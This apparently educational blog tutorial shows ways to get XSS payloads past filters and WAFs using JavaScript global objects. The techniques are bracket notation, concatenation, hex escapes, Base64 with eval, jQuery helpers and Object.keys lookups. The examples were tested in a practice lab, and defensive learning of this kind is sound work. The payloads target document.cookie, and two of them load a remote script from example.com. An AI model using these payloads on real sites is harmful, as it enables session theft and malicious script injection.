Bypass XSS filters using JavaScript global variables
In this article, theMiddle discusses the many possibilities to exploit a reflected (or even stored) XSS when there are filters or WAF's protecting the website.
So your target seems to be vulnerable to XSS but all your attempts to exploit it are blocked by filters, input validation or WAF rules... let's explore how to bypass them using JavaScript global variable.
In this article, we are here to discover together how many possibilities we have to exploit a reflected (or even stored) XSS when there are filters or firewalls between us and the target website. One of the most efficient methods is using a global variable like self
, document
, this
, top
or window
.
I'll test all payloads in this post on the PortSwigger Web Security Academy lab, but you can test it by using your browser JavaScript console.
Table of contents
- Before starting
- Concatenation and Hex escape sequences
- Eval and Base64 encoded strings
- jQuery
- Iteration and Object.keys
- Conclusion
Before starting
What's a JavaScript global variable?
A JavaScript global variable is declared outside the function or declared with window object. It can be accessed from any function. https://www.javatpoint.com/javascript-global-variable
Let's assume that your target web application is vulnerable to a reflected XSS into a JavaScript string or in a JavaScript function (you can find an awesome XSS labs at PortSwigger Web Security Accademy, I'm going to use this lab for some tests).
For example, let's think about something like the PHP script below:
echo "<script>
var message = 'Hello ".$_GET["name"]."';
alert(message);
</script>";
As you can see, the name
parameter is vulnerable. But in this example, let's say that the web application has a filter that prevents using "document.cookie" string into any user input using a regular expression like /document[^\.]*.[^\.]*cookie/
. Let's take a look at the following payloads:
payload | description | action |
---|---|---|
document.cookie |
standard | block |
document%20.%20cookie |
add encoded space char | block |
document/*foo*/./*bar*/cookie |
add comments | block |
In this case, JavaScript global variable could be used to bypass it. We have got many way to access the document.cookie
from the window
or self
object. For example, something like window["document"]["cookie"]
will not be blocked:
payload | description | action |
---|---|---|
window["document"]["cookie"] |
global variable | pass |
window["alert"](window["document"]["cookie"]); |
call alert() from window |
pass |
self[/*foo*/"alert"](self[document"/*bar*/]["cookie"]); |
add comments | pass |
As you can see from the example above, you can even access to any JavaScript function with a syntax like self["alert"]("foo");
that is equal to alert("foo");
. This kind of syntax gives you many way to bypass a lot of weak filters. Obviously, you can use comments almost everywhere like:
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
About "self" object
The Window.self
read-only property returns the window itself, as a WindowProxy
. It can be used with dot notation on a window
object (that is, window.self
) or standalone (self
). The advantage of the standalone notation is that a similar notation exists for non-window contexts, such as in Web Workers. By using self
, you can refer to the global scope in a way that will work not only in a window context (self
will resolve to window.self
) but also in a worker context (self
will then resolve to WorkerGlobalScope.self
). https://developer.mozilla.org/en-US/docs/Web/API/Window/self
You can call any JavaScript function from:
- window
- self
- _self
- this
- top
- parent
- frames
1. Concatenation and Hex escape sequences
One of the most common techniques to bypass WAF rules, is to use string concatenation when it's possible. This is true for RCE, in a different fashion even for SQLi but also for JavaScript.
There're many WAF which use filters based on a list of JavaScript function names. Many of those filters blocks requests containing strings such as alert()
or String.fromCharCode()
. Thanks to global variables, they can be easily bypassed using string concatenation or hex escape sequences. For example:
/*
** alert(document.cookie);
*/
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
A more complex syntax to elude filters is to replace string with hex escape sequences. Any character with a character code lower than 256
can be escaped using its hexadecimal representation, with the \x
escape sequence:
> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!
Obviously, replacing "alert", "document" and "cookie" strings with their hexadecimal representation, makes it possible to call any function in one of the global variables seen before:
/*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
2. Eval and Base64 encoded strings
One of the hardest thing to do if a WAF is filtering our inputs, is to dynamically create (and add), a script element that calls a remote JavaScript file (something like <script src="http://example.com/evil.js" ...
). Even with a weak filter, it's something not so easy to do, because there are many "well recognizable" patterns like <script
, src=
, http://
and so on.
Base64 and eval()
could help us, especially if we can avoid to send the "eval" string as a user's input. Take a look at the following example:
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
as shown before I'm using the hexadecimal representation of "eval" self["\x65\x76\x61\x6c"] and "atob" for decoding a Base64 string self["\x61\x74\x6f\x62"]. Inside the Base64 string, there is the following script:
// select head tag
var head = document.getElementsByTagName('head').item(0);
// create an empty <script> element
var script = document.createElement('script');
// set the script element type attribute
script.setAttribute('type', 'text/javascript');
// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');
// append it to the head element
head.appendChild(script);
3. jQuery
As mentioned throughout this article, JavaScript gives you a lot of ways to elude filters, this sentence is even more true on modern websites using libraries such as jQuery. Let's assume that you can't use self["eval"]
and its hexadecimal representation, you can ask jQuery to do it for you by using, for example, self["$"]["globalEval"]
:
payload | action |
---|---|
self["$"]["globalEval"]("alert(1)"); |
pass |
self["\x24"] |
pass |
You can even easily add a local or remote script with self["$"]["getScript"](url)
. getScript loads a JavaScript file from the server using a GET HTTP request, then execute it. The script is executed in the global context, so it can refer to other variables and use jQuery functions.
payload | action |
---|---|
self["$"]["getScript"]("https://example.com/my.js"); |
pass |
4. Iteration and Object.keys
The Object.keys()
method returns an array of a given object's own property names
, in the same order as we get with a normal loop.
That's means that we can access any JavaScript function by using its index number instead the function name. For example, open your browser's web console and type:
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
This gives you the index number of the "alert" function inside self
object. The number is different on each browser and on each open document (in my example is 5) but it can makes you able to call any function without using its name. For example:
> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")
In order to iterate all functions inside self
you can loop through the self
object and check if the element is a function using typeof elm === "function"
f=""
for(i in self) {
if(typeof self[i] === "function") {
f += i+", "
}
};
console.log(f)
As mentioned previously, this number can change on different browser and document so, how can we find the "alert" index number if the "alert" string is not allowed and none of the above methods can be used? JavaScript gives you a lot of chances to do it. One thing we can do is to assign to a variable (a
) a function that iterate self
and find the alert
index number. Then, we can use test()
to find "alert" with a regular expression like ^a[rel]+t$
:
a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
// alert("foo")
self[Object.keys(self)[a()]]("foo")
Conclusion
Sanitization and Validation, are two terms often confused not only by beginner developers. Validation means verifying that the data being submitted conforms to a rule or set of rules that a developer set for a particular input field. Obviously, a good validation of the user input is an essential thing that your web application should do. When it isn't possible, a Web Application Firewall could be a good alternative.